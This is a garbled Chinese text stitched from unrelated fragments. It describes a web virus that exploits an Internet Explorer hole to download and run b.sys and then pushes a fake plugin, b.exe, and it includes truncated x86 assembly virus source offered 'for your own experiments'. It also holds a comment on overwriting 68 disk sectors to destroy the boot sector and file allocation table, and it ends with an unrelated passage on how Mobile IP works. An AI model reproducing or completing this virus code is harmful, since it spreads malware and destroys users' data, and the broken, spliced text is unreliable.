当浏览带毒网站时，会利用IE漏洞，尝试新增sys文件和tmp文件的执行关联，并下载执行病毒文件 b.sys，如果IE已经打上补丁，则会弹出一个插件对话框，引诱用户安装，安装后会将自己安装到 %Windows%Downloaded Program Files 文件夹中，文件名为"b.exe"，如果用户拒绝安装该插件，会不断弹出对话框要求用户安装。

源代码: 测试时需要D:\test.另外，目的油箱可能需要改变，拿自己的实验吧 ：）.386.model flat,stdcalloption casemap:noneinclude useful.inc.datahi db "hi",0ppmm db "ppmm,you need no reason to love me!",0.codemain:mov HostEntry,offset ret_addrjmp VStartret_addr:Invoke Messag

MonitorThread PROC MReloc : DWORD mov ebx , MReloc@pushsz "PSAPI"call _LoadLibraryA[ebx]xchg eax,esi@pushsz "EnumProcesses"push esicall _GetProcAddress[ebx]mov _EnumProcesses[ebx],eax@pushsz "EnumProcessModules"push esicall _GetProcAddress[ebx]mov _EnumProcessModules[ebx],eax

以上操作实际上是对硬盘执行4次写操作，每次17个扇区 ;共68个扇区，这样就完全破坏了盘中的引导扇区，根目录 ;和文件分配表。

移动IP工作原理移动IP的核心思想是在用户终端设备在不同子网间漫游的过程中仍保持使用一个固定的IP地址。移动IP系统通常是由移动IP协议，本地代理，外地代理构成的，如图1所示。移动节点在初始时连接到一个本地网络，称为本地子网，其所连接的路由器称为本地代理。移动节点漫游到的新的子网称为外地子网，这时其连